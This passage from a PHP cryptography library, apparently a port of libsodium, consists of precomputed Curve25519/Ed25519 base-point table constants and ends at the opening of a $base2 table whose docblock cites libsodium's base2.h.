        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array<int, array<int, array<int, int>>> basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
